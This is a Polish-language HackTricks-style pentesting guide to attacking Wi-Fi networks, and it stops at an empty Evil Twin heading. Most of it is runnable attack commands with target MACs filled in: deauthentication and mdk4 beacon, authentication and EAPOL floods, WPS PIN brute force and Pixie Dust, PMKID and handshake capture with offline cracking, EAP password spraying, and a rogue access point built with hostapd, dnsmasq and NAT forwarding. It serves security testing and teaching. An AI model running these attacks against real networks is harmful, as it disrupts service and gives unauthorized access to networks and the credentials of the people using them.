696 lines
45 KiB
Markdown

# Pentesting Wifi
{{#include ../../banners/hacktricks-training.md}}
## Podstawowe komendy Wifi
```bash
ip link show #List available interfaces
iwconfig #List available interfaces
airmon-ng check kill #Kill annoying processes
airmon-ng start wlan0 #Monitor mode
airmon-ng stop wlan0mon #Managed mode
airodump-ng wlan0mon #Scan (default 2.4Ghz)
airodump-ng wlan0mon --band a #Scan 5Ghz
airodump-ng wlan0mon --wps #Scan WPS
iwconfig wlan0 mode monitor #Put in mode monitor
iwconfig wlan0mon mode managed #Quit mode monitor - managed mode
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis
iwlist wlan0 scan #Scan available wifis
```
## Narzędzia
### Hijacker & NexMon (wewnętrzne Wi-Fi Androida)
{{#ref}}
enable-nexmon-monitor-and-injection-on-android.md
{{#endref}}
### EAPHammer
```
git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup
```
### Airgeddon
```bash
mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe
```
**Uruchom airgeddon za pomocą dockera**
```bash
docker run \
--rm \
-ti \
--name airgeddon \
--net=host \
--privileged \
-p 3000:3000 \
-v /tmp:/io \
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
v1s1t0r1sh3r3/airgeddon
```
### wifiphisher
Może przeprowadzać ataki Evil Twin, KARMA i Known Beacons, a następnie używać szablonu phishingowego, aby uzyskać prawdziwe hasło do sieci lub przechwycić dane logowania do mediów społecznościowych.
```bash
git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
sudo python setup.py install # Install any dependencies
```
### [Wifite2](https://github.com/derv82/wifite2)
To narzędzie automatyzuje ataki **WPS/WEP/WPA-PSK**. Automatycznie:
- Ustawia interfejs w trybie monitorowania
- Skanuje możliwe sieci - I pozwala wybrać ofiarę/y
- Jeśli WEP - Uruchamia ataki WEP
- Jeśli WPA-PSK
- Jeśli WPS: atak Pixie dust i atak brute-force (uważaj, atak brute-force może zająć dużo czasu). Zauważ, że nie próbuje pustego PIN-u ani PIN-ów z bazy danych/wygenerowanych.
- Próbuje przechwycić PMKID z AP, aby go złamać
- Próbuje deautoryzować klientów AP, aby przechwycić handshake
- Jeśli PMKID lub Handshake, próbuje złamać hasła używając 5000 najpopularniejszych haseł.
## Podsumowanie ataków
- **DoS**
- Deautoryzacja/disasocjacja -- Rozłącza wszystkich (lub konkretny ESSID/Klient)
- Losowe fałszywe AP -- Ukrywa sieci, możliwe awarie skanerów
- Przeciążenie AP -- Próbuje zabić AP (zwykle mało użyteczne)
- WIDS -- Bawi się IDS
- TKIP, EAPOL -- Niektóre specyficzne ataki DoS na niektóre AP
- **Cracking**
- Złamanie **WEP** (kilka narzędzi i metod)
- **WPA-PSK**
- **WPS** pin "Brute-Force"
- **WPA PMKID** brute-force
- \[DoS +] **WPA handshake** przechwytywanie + Złamanie
- **WPA-MGT**
- **Przechwytywanie nazw użytkowników**
- **Brute-force** poświadczenia
- **Evil Twin** (z lub bez DoS)
- **Open** Evil Twin \[+ DoS] -- Użyteczne do przechwytywania poświadczeń portalu przechwytywania i/lub przeprowadzania ataków LAN
- **WPA-PSK** Evil Twin -- Użyteczne do ataków sieciowych, jeśli znasz hasło
- **WPA-MGT** -- Użyteczne do przechwytywania poświadczeń firmowych
- **KARMA, MANA**, **Loud MANA**, **Znany beacon**
- **+ Open** -- Użyteczne do przechwytywania poświadczeń portalu przechwytywania i/lub przeprowadzania ataków LAN
- **+ WPA** -- Użyteczne do przechwytywania handshake'ów WPA
## DOS
### Pakiety deautoryzacji
**Opis z** [**tutaj**:](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.**
Ataki **deautoryzacji**, powszechnie stosowana metoda w hackingu Wi-Fi, polegają na fałszowaniu "ram zarządzających", aby **wymusić rozłączenie urządzeń z sieci**. Te niezaszyfrowane pakiety oszukują klientów, sprawiając, że wierzą, iż pochodzą z legalnej sieci, co umożliwia atakującym zbieranie handshake'ów WPA w celach łamania lub trwałe zakłócanie połączeń sieciowych. Ta taktyka, niepokojąca w swojej prostocie, jest szeroko stosowana i ma znaczące implikacje dla bezpieczeństwa sieci.
**Deautoryzacja przy użyciu Aireplay-ng**
```
aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
```
- -0 oznacza deautoryzację
- 1 to liczba deautoryzacji do wysłania (możesz wysłać wiele, jeśli chcesz); 0 oznacza wysyłanie ich ciągle
- -a 00:14:6C:7E:40:80 to adres MAC punktu dostępowego
- -c 00:0F:B5:34:30:30 to adres MAC klienta do deautoryzacji; jeśli to zostanie pominięte, wysyłana jest deautoryzacja rozgłoszeniowa (nie zawsze działa)
- ath0 to nazwa interfejsu
### Pakiety Dezaktywacji
**Pakiety dezaktywacji**, podobnie jak pakiety deautoryzacji, są rodzajem ramki zarządzającej używanej w sieciach Wi-Fi. Pakiety te służą do zerwania połączenia między urządzeniem (takim jak laptop lub smartfon) a punktem dostępowym (AP). Główna różnica między dezaktywacją a deautoryzacją polega na ich scenariuszach użycia. Podczas gdy AP emituje **pakiety deautoryzacji, aby usunąć nieautoryzowane urządzenia z sieci, pakiety dezaktywacji są zazwyczaj wysyłane, gdy AP przechodzi w tryb wyłączenia**, restartu lub przenoszenia, co wymaga rozłączenia wszystkich podłączonych węzłów.
**Ten atak można przeprowadzić za pomocą mdk4 (tryb "d"):**
```bash
# -c <channel>
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
# -e WifiName is the name of the wifi
# -B BSSID is the BSSID of the AP
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
```
### **Więcej ataków DOS za pomocą mdk4**
**W** [**tutaj**](https://en.kali.tools/?p=864)**.**
**TRYB ATAKU b: Flooding Beaconów**
Wysyła ramki beaconów, aby pokazać fałszywe AP na klientach. Może to czasami spowodować awarię skanerów sieciowych, a nawet sterowników!
```bash
# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
# -m use real BSSIDS
# All the parameters are optional and you could load ESSIDs from a file
mdk4 wlan0mon b -a -w nta -m
```
**TRYB ATAKU a: Denial-Of-Service uwierzytelnienia**
Wysyłanie ramek uwierzytelniających do wszystkich dostępnych punktów dostępowych (AP) w zasięgu może przeciążyć te AP, szczególnie gdy zaangażowanych jest wielu klientów. Ten intensywny ruch może prowadzić do niestabilności systemu, powodując, że niektóre AP mogą się zawiesić lub nawet zresetować.
```bash
# -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients
# -m use real MACs
# only -a or -i can be used
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
```
**TRYB ATAKU p: Probing SSID i Bruteforcing**
Probing Access Points (APs) sprawdza, czy SSID jest prawidłowo ujawniony i potwierdza zasięg AP. Ta technika, w połączeniu z **bruteforcing ukrytych SSID** z lub bez listy słów, pomaga w identyfikacji i uzyskiwaniu dostępu do ukrytych sieci.
**TRYB ATAKU m: Wykorzystanie Środków Przeciwdziałających Michaelowi**
Wysyłanie losowych lub duplikowanych pakietów do różnych kolejek QoS może wywołać Środki Przeciwdziałające Michaelowi na **TKIP APs**, prowadząc do jednominutowego wyłączenia AP. Ta metoda jest skuteczną taktyką ataku **DoS** (Denial of Service).
```bash
# -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
```
**TRYB ATAKU e: Wstrzykiwanie pakietów EAPOL Start i Logoff**
Zalewanie AP **ramkami EAPOL Start** tworzy **fałszywe sesje**, przytłaczając AP i blokując legalnych klientów. Alternatywnie, wstrzykiwanie **fałszywych wiadomości EAPOL Logoff** wymusza rozłączenie klientów, obie metody skutecznie zakłócają usługi sieciowe.
```bash
# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
```
**TRYB ATAKU s: Ataki na sieci mesh IEEE 802.11s**
Różne ataki na zarządzanie łączami i routowanie w sieciach mesh.
**TRYB ATAKU w: Confusion WIDS**
Krzyżowe łączenie klientów z wieloma węzłami WDS lub fałszywymi AP może manipulować systemami wykrywania i zapobiegania włamaniom, tworząc zamieszanie i potencjalne nadużycia systemu.
```bash
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]
```
**TRYB ATAKU f: Fuzzer Pakietów**
Fuzzer pakietów z różnorodnymi źródłami pakietów i kompleksowym zestawem modyfikatorów do manipulacji pakietami.
### **Airggedon**
_**Airgeddon**_ oferuje większość ataków zaproponowanych w poprzednich komentarzach:
![](<../../images/image (95).png>)
## WPS
WPS (Wi-Fi Protected Setup) upraszcza proces łączenia urządzeń z routerem, zwiększając szybkość i łatwość konfiguracji dla sieci szyfrowanych z **WPA** lub **WPA2** Personal. Jest nieskuteczny dla łatwo kompromitowanego zabezpieczenia WEP. WPS wykorzystuje 8-cyfrowy PIN, weryfikowany w dwóch częściach, co czyni go podatnym na ataki brute-force z powodu ograniczonej liczby kombinacji (11 000 możliwości).
### WPS Bruteforce
Istnieją 2 główne narzędzia do przeprowadzenia tej akcji: Reaver i Bully.
- **Reaver** został zaprojektowany jako solidny i praktyczny atak przeciwko WPS i był testowany na szerokiej gamie punktów dostępowych i implementacji WPS.
- **Bully** to **nowa implementacja** ataku brute force WPS, napisana w C. Ma kilka zalet w porównaniu do oryginalnego kodu reaver: mniej zależności, poprawioną wydajność pamięci i CPU, prawidłowe zarządzanie endianness oraz bardziej rozbudowany zestaw opcji.
Atak wykorzystuje **wrażliwość PIN-u WPS**, szczególnie jego ujawnienie pierwszych czterech cyfr oraz rolę ostatniej cyfry jako sumy kontrolnej, co ułatwia atak brute-force. Jednak obrony przed atakami brute-force, takie jak **blokowanie adresów MAC** agresywnych atakujących, wymagają **rotacji adresów MAC**, aby kontynuować atak.
Po uzyskaniu PIN-u WPS za pomocą narzędzi takich jak Bully lub Reaver, atakujący może wydedukować WPA/WPA2 PSK, zapewniając **stały dostęp do sieci**.
```bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
```
**Smart Brute Force**
To udoskonalone podejście celuje w PIN-y WPS wykorzystując znane luki:
1. **Wcześniej odkryte PIN-y**: Wykorzystaj bazę danych znanych PIN-ów powiązanych z konkretnymi producentami, którzy używają jednolitych PIN-ów WPS. Ta baza danych koreluje pierwsze trzy oktety adresów MAC z prawdopodobnymi PIN-ami dla tych producentów.
2. **Algorytmy generacji PIN-ów**: Wykorzystaj algorytmy takie jak ComputePIN i EasyBox, które obliczają PIN-y WPS na podstawie adresu MAC AP. Algorytm Arcadyan dodatkowo wymaga identyfikatora urządzenia, co dodaje warstwę do procesu generacji PIN-u.
### WPS Pixie Dust attack
**Dominique Bongard** odkrył błąd w niektórych punktach dostępowych (AP) dotyczący tworzenia tajnych kodów, znanych jako **nonces** (**E-S1** i **E-S2**). Jeśli te nonces można odgadnąć, złamanie PIN-u WPS AP staje się łatwe. AP ujawnia PIN w specjalnym kodzie (hash), aby udowodnić, że jest on legitny, a nie fałszywym (rogue) AP. Te nonces są zasadniczo "kluczami" do odblokowania "sejfu", który przechowuje PIN WPS. Więcej na ten temat można znaleźć [tutaj](<https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)>).
Mówiąc prosto, problem polega na tym, że niektóre AP nie używały wystarczająco losowych kluczy do szyfrowania PIN-u podczas procesu łączenia. To sprawia, że PIN jest podatny na odgadnięcie z zewnątrz sieci (offline brute force attack).
```bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
```
Jeśli nie chcesz przełączać urządzenia w tryb monitorowania, lub `reaver` i `bully` mają jakiś problem, możesz spróbować [OneShot-C](https://github.com/nikita-yfh/OneShot-C). To narzędzie może przeprowadzić atak Pixie Dust bez konieczności przełączania w tryb monitorowania.
```bash
./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37
```
### Atak Null Pin
Niektóre źle zaprojektowane systemy pozwalają nawet na dostęp za pomocą **Null PIN** (pusty lub nieistniejący PIN), co jest dość nietypowe. Narzędzie **Reaver** jest w stanie testować tę podatność, w przeciwieństwie do **Bully**.
```bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
```
### Airgeddon
Wszystkie proponowane ataki WPS można łatwo przeprowadzić za pomocą _**airgeddon.**_
![](<../../images/image (219).png>)
- 5 i 6 pozwalają na wypróbowanie **twojego własnego PIN-u** (jeśli go masz)
- 7 i 8 wykonują **atak Pixie Dust**
- 13 pozwala na przetestowanie **NULL PIN**
- 11 i 12 **zbiorą PIN-y związane z wybranym AP z dostępnych baz danych** i **wygenerują** możliwe **PIN-y** za pomocą: ComputePIN, EasyBox i opcjonalnie Arcadyan (zalecane, czemu nie?)
- 9 i 10 przetestują **każdy możliwy PIN**
## **WEP**
Tak zniszczony i nieużywany w dzisiejszych czasach. Po prostu wiedz, że _**airgeddon**_ ma opcję WEP nazwaną "All-in-One", aby zaatakować ten rodzaj ochrony. Wiele narzędzi oferuje podobne opcje.
![](<../../images/image (432).png>)
---
---
## WPA/WPA2 PSK
### PMKID
W 2018 roku **hashcat** [ujawnił](https://hashcat.net/forum/thread-7717.html) nową metodę ataku, unikalną, ponieważ potrzebuje tylko **jednego pakietu** i nie wymaga, aby jakiekolwiek urządzenia klienckie były połączone z docelowym AP—wystarczy interakcja między atakującym a AP.
Wiele nowoczesnych routerów dodaje **opcjonalne pole** do **pierwszej ramki EAPOL** podczas asocjacji, znane jako `Robust Security Network`. Zawiera to `PMKID`.
Jak wyjaśnia oryginalny post, **PMKID** jest tworzony przy użyciu znanych danych:
```bash
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
```
Biorąc pod uwagę, że "Nazwa PMK" jest stała, znamy BSSID AP i stacji, a `PMK` jest identyczny z tym z pełnego 4-etapowego uścisku, **hashcat** może wykorzystać te informacje do złamania PSK i odzyskania hasła!
Aby **zgromadzić** te informacje i **bruteforce'ować** lokalnie hasło, możesz zrobić:
```bash
airmon-ng check kill
airmon-ng start wlan0
git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install
hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
```
```bash
#You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1
```
Złapane **PMKIDy** będą wyświetlane w **konsoli** i również **zapisane** w \_ **/tmp/attack.pcap**\_\
Teraz przekształć zrzut do formatu **hashcat/john** i złam go:
```bash
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
```
Proszę zauważyć, że format poprawnego hasha zawiera **4 części**, jak: `4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838`. Jeśli Twój **zawiera tylko** **3 części**, to jest **nieprawidłowy** (przechwycenie PMKID nie było ważne).
Zauważ, że `hcxdumptool` **również przechwytuje handshake'i** (coś takiego się pojawi: **`MP:M1M2 RC:63258 EAPOLTIME:17091`**). Możesz **przekształcić** **handshake'i** do formatu **hashcat**/**john** używając `cap2hccapx`.
```bash
tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
```
_Zauważyłem, że niektóre przechwycone handshake za pomocą tego narzędzia nie mogły być złamane, nawet znając poprawne hasło. Zalecałbym również przechwytywanie handshake w tradycyjny sposób, jeśli to możliwe, lub przechwytywanie ich kilku za pomocą tego narzędzia._
### Przechwytywanie handshake
Atak na sieci **WPA/WPA2** można przeprowadzić, przechwytując **handshake** i próbując **złamać** hasło **offline**. Proces ten polega na monitorowaniu komunikacji konkretnej sieci i **BSSID** na określonym **kanale**. Oto uproszczony przewodnik:
1. Zidentyfikuj **BSSID**, **kanał** i **połączonego klienta** docelowej sieci.
2. Użyj `airodump-ng`, aby monitorować ruch sieciowy na określonym kanale i BSSID, mając nadzieję na przechwycenie handshake. Komenda będzie wyglądać następująco:
```bash
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
```
3. Aby zwiększyć szansę na przechwycenie handshake, chwilowo odłącz klienta od sieci, aby wymusić ponowną autoryzację. Można to zrobić za pomocą polecenia `aireplay-ng`, które wysyła pakiety deautoryzacji do klienta:
```bash
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios
```
_Uwaga, że gdy klient został zdezautoryzowany, mógł spróbować połączyć się z innym AP lub, w innych przypadkach, z inną siecią._
Gdy w `airodump-ng` pojawią się informacje o handshake, oznacza to, że handshake został przechwycony i możesz przestać nasłuchiwać:
![](<../../images/image (172) (1).png>)
Gdy handshake zostanie przechwycony, możesz go **złamać** za pomocą `aircrack-ng`:
```
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap
```
### Sprawdź, czy handshake jest w pliku
**aircrack**
```bash
aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture
```
**tshark**
```bash
tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages.
```
[**cowpatty**](https://github.com/roobixx/cowpatty)
```
cowpatty -r psk-01.cap -s "ESSID" -f -
```
_Jeśli to narzędzie znajdzie niekompletny handshake ESSID przed ukończonym, nie wykryje ważnego._
**pyrit**
```bash
apt-get install pyrit #Not working for newer versions of kali
pyrit -r psk-01.cap analyze
```
## **WPA Enterprise (MGT)**
W **ustawieniach WiFi dla przedsiębiorstw napotkasz różne metody uwierzytelniania**, z których każda oferuje różne poziomy bezpieczeństwa i funkcje zarządzania. Gdy używasz narzędzi takich jak `airodump-ng`, aby sprawdzić ruch sieciowy, możesz zauważyć identyfikatory dla tych typów uwierzytelniania. Niektóre powszechne metody to:
```
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
```
1. **EAP-GTC (Generic Token Card)**:
- Ta metoda obsługuje tokeny sprzętowe i jednorazowe hasła w ramach EAP-PEAP. W przeciwieństwie do MSCHAPv2, nie używa wyzwania od partnera i wysyła hasła w postaci niezaszyfrowanej do punktu dostępowego, co stwarza ryzyko ataków downgrade.
2. **EAP-MD5 (Message Digest 5)**:
- Polega na wysyłaniu hasha MD5 hasła z klienta. **Nie jest zalecane** z powodu podatności na ataki słownikowe, braku uwierzytelnienia serwera oraz niemożności generowania kluczy WEP specyficznych dla sesji.
3. **EAP-TLS (Transport Layer Security)**:
- Wykorzystuje zarówno certyfikaty po stronie klienta, jak i serwera do uwierzytelniania i może dynamicznie generować klucze WEP oparte na użytkownikach i sesjach w celu zabezpieczenia komunikacji.
4. **EAP-TTLS (Tunneled Transport Layer Security)**:
- Zapewnia wzajemne uwierzytelnianie przez zaszyfrowany tunel, wraz z metodą do wyprowadzania dynamicznych kluczy WEP dla każdego użytkownika i sesji. Wymaga tylko certyfikatów po stronie serwera, a klienci używają poświadczeń.
5. **PEAP (Protected Extensible Authentication Protocol)**:
- Działa podobnie do EAP, tworząc tunel TLS dla chronionej komunikacji. Umożliwia użycie słabszych protokołów uwierzytelniania na szczycie EAP dzięki ochronie oferowanej przez tunel.
- **PEAP-MSCHAPv2**: Często określane jako PEAP, łączy podatny mechanizm wyzwania/odpowiedzi MSCHAPv2 z ochronnym tunelem TLS.
- **PEAP-EAP-TLS (lub PEAP-TLS)**: Podobne do EAP-TLS, ale inicjuje tunel TLS przed wymianą certyfikatów, oferując dodatkową warstwę bezpieczeństwa.
Możesz znaleźć więcej informacji na temat tych metod uwierzytelniania [tutaj](https://en.wikipedia.org/wiki/Extensible_Authentication_Protocol) i [tutaj](https://www.intel.com/content/www/us/en/support/articles/000006999/network-and-i-o/wireless-networking.html).
### Przechwytywanie Nazwy Użytkownika
Czytając [https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27), wygląda na to, że jeśli używasz **EAP**, to **"Identity"** **messages** muszą być **obsługiwane**, a **nazwa użytkownika** będzie wysyłana w **czystym** w **"Response Identity"** messages.
Nawet używając jednej z najbezpieczniejszych metod uwierzytelniania: **PEAP-EAP-TLS**, możliwe jest **przechwycenie nazwy użytkownika wysłanej w protokole EAP**. Aby to zrobić, **przechwyć komunikację uwierzytelniającą** (uruchom `airodump-ng` w kanale i `wireshark` na tym samym interfejsie) i filtruj pakiety według `eapol`.\
Wewnątrz pakietu "**Response, Identity**" pojawi się **nazwa użytkownika** klienta.
![](<../../images/image (850).png>)
### Anonimowe Tożsamości
Ukrywanie tożsamości jest obsługiwane zarówno przez EAP-PEAP, jak i EAP-TTLS. W kontekście sieci WiFi, żądanie EAP-Identity jest zazwyczaj inicjowane przez punkt dostępowy (AP) podczas procesu asocjacji. Aby zapewnić ochronę anonimowości użytkownika, odpowiedź od klienta EAP na urządzeniu użytkownika zawiera tylko niezbędne informacje wymagane do przetworzenia żądania przez początkowy serwer RADIUS. Koncepcja ta jest ilustrowana przez następujące scenariusze:
- EAP-Identity = anonimowy
- W tym scenariuszu wszyscy użytkownicy używają pseudonimowego "anonimowego" jako swojego identyfikatora użytkownika. Początkowy serwer RADIUS działa jako serwer EAP-PEAP lub EAP-TTLS, odpowiedzialny za zarządzanie stroną serwera protokołu PEAP lub TTLS. Wewnętrzna (chroniona) metoda uwierzytelniania jest następnie obsługiwana lokalnie lub delegowana do zdalnego (domowego) serwera RADIUS.
- EAP-Identity = anonimowy@realm_x
- W tej sytuacji użytkownicy z różnych realmów ukrywają swoje tożsamości, jednocześnie wskazując swoje odpowiednie realm. Umożliwia to początkowemu serwerowi RADIUS proxy żądania EAP-PEAP lub EAP-TTLS do serwerów RADIUS w ich domowych realmach, które działają jako serwer PEAP lub TTLS. Początkowy serwer RADIUS działa wyłącznie jako węzeł przekaźnikowy RADIUS.
- Alternatywnie, początkowy serwer RADIUS może działać jako serwer EAP-PEAP lub EAP-TTLS i albo obsługiwać chronioną metodę uwierzytelniania, albo przekazywać ją do innego serwera. Ta opcja ułatwia konfigurację odmiennych polityk dla różnych realmów.
W EAP-PEAP, po nawiązaniu tunelu TLS między serwerem PEAP a klientem PEAP, serwer PEAP inicjuje żądanie EAP-Identity i przesyła je przez tunel TLS. Klient odpowiada na to drugie żądanie EAP-Identity, wysyłając odpowiedź EAP-Identity zawierającą prawdziwą tożsamość użytkownika przez zaszyfrowany tunel. To podejście skutecznie zapobiega ujawnieniu prawdziwej tożsamości użytkownika komukolwiek podsłuchującemu ruch 802.11.
EAP-TTLS postępuje nieco inną procedurą. W przypadku EAP-TTLS klient zazwyczaj uwierzytelnia się za pomocą PAP lub CHAP, zabezpieczonych przez tunel TLS. W tym przypadku klient dołącza atrybut User-Name oraz atrybut Password lub CHAP-Password w początkowej wiadomości TLS wysyłanej po nawiązaniu tunelu.
Bez względu na wybrany protokół, serwer PEAP/TTLS uzyskuje wiedzę o prawdziwej tożsamości użytkownika po nawiązaniu tunelu TLS. Prawdziwa tożsamość może być reprezentowana jako user@realm lub po prostu user. Jeśli serwer PEAP/TTLS jest również odpowiedzialny za uwierzytelnienie użytkownika, teraz posiada tożsamość użytkownika i kontynuuje metodę uwierzytelniania chronioną przez tunel TLS. Alternatywnie, serwer PEAP/TTLS może przekazać nowe żądanie RADIUS do domowego serwera RADIUS użytkownika. To nowe żądanie RADIUS pomija warstwę protokołu PEAP lub TTLS. W przypadkach, gdy chroniona metoda uwierzytelniania to EAP, wewnętrzne wiadomości EAP są przesyłane do domowego serwera RADIUS bez opakowania EAP-PEAP lub EAP-TTLS. Atrybut User-Name w wychodzącej wiadomości RADIUS zawiera prawdziwą tożsamość użytkownika, zastępując anonimowy User-Name z przychodzącego żądania RADIUS. Gdy chroniona metoda uwierzytelniania to PAP lub CHAP (obsługiwane tylko przez TTLS), atrybut User-Name i inne atrybuty uwierzytelniające wyodrębnione z ładunku TLS są zastępowane w wychodzącej wiadomości RADIUS, zastępując anonimowy User-Name i atrybuty TTLS EAP-Message znajdujące się w przychodzącym żądaniu RADIUS.
Aby uzyskać więcej informacji, sprawdź [https://www.interlinknetworks.com/app_notes/eap-peap.htm](https://www.interlinknetworks.com/app_notes/eap-peap.htm)
### EAP-Bruteforce (password spray)
Jeśli oczekuje się, że klient użyje **nazwa użytkownika i hasło** (zauważ, że **EAP-TLS nie będzie ważne** w tym przypadku), możesz spróbować uzyskać **listę** **nazw użytkowników** (zobacz następna część) i **haseł** i spróbować **bruteforce** dostępu za pomocą [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**.**
```bash
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
```
Możesz również przeprowadzić ten atak za pomocą `eaphammer`:
```bash
./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
--essid example-wifi \
--password bananas \
--user-list users.txt
```
## Teoria ataków na klienta
### Wybór sieci i roaming
- Protokół 802.11 definiuje, jak stacja dołącza do Rozszerzonego Zestawu Usług (ESS), ale nie określa kryteriów wyboru ESS lub punktu dostępowego (AP) w jego obrębie.
- Stacje mogą przemieszczać się między AP, które dzielą ten sam ESSID, utrzymując łączność w budynku lub obszarze.
- Protokół wymaga uwierzytelnienia stacji do ESS, ale nie nakłada obowiązku uwierzytelnienia AP do stacji.
### Lista preferowanych sieci (PNL)
- Stacje przechowują ESSID każdej sieci bezprzewodowej, do której się łączą, w swojej Liście Preferowanych Sieci (PNL), wraz z szczegółami konfiguracji specyficznymi dla sieci.
- PNL jest używana do automatycznego łączenia się z znanymi sieciami, poprawiając doświadczenie użytkownika poprzez uproszczenie procesu łączenia.
### Pasywne skanowanie
- AP okresowo nadają ramki beacon, ogłaszając swoją obecność i cechy, w tym ESSID AP, chyba że nadawanie jest wyłączone.
- Podczas pasywnego skanowania stacje nasłuchują ramek beacon. Jeśli ESSID beacona pasuje do wpisu w PNL stacji, stacja może automatycznie połączyć się z tym AP.
- Znajomość PNL urządzenia pozwala na potencjalne wykorzystanie poprzez naśladowanie ESSID znanej sieci, oszukując urządzenie, aby połączyło się z nieautoryzowanym AP.
### Aktywne sondowanie
- Aktywne sondowanie polega na wysyłaniu przez stacje żądań sondowania w celu odkrycia pobliskich AP i ich cech.
- Ukierunkowane żądania sondowania celują w konkretny ESSID, pomagając wykryć, czy dana sieć jest w zasięgu, nawet jeśli jest ukryta.
- Żądania sondowania rozgłoszeniowego mają pustą sekcję SSID i są wysyłane do wszystkich pobliskich AP, pozwalając stacji sprawdzić, czy istnieje jakaś preferowana sieć bez ujawniania zawartości swojej PNL.
## Prosty AP z przekierowaniem do Internetu
Zanim wyjaśnione zostanie, jak przeprowadzać bardziej złożone ataki, zostanie wyjaśnione **jak** po prostu **utworzyć** **AP** i **przekierować** jego **ruch** do interfejsu podłączonego **do** **Internetu**.
Używając `ifconfig -a`, sprawdź, czy interfejs wlan do utworzenia AP oraz interfejs podłączony do Internetu są obecne.
### DHCP & DNS
```bash
apt-get install dnsmasq #Manages DHCP and DNS
```
Utwórz plik konfiguracyjny `/etc/dnsmasq.conf`:
```ini
interface=wlan0
dhcp-authoritative
dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1
```
Następnie **ustaw IP** i **trasy**:
```bash
ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
```
A następnie **uruchom** dnsmasq:
```bash
dnsmasq -C dnsmasq.conf -d
```
### hostapd
```bash
apt-get install hostapd
```
Utwórz plik konfiguracyjny `hostapd.conf`:
```ini
interface=wlan0
driver=nl80211
ssid=MITIWIFI
hw_mode=g
channel=11
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=2
wpa_passphrase=mitmwifi123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1
```
**Zatrzymaj irytujące procesy**, ustaw **tryb monitorowania** i **uruchom hostapd**:
```bash
airmon-ng check kill
iwconfig wlan0 mode monitor
ifconfig wlan0 up
hostapd ./hostapd.conf
```
### Przekierowanie i Przekazywanie
```bash
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward
```
## Evil Twin
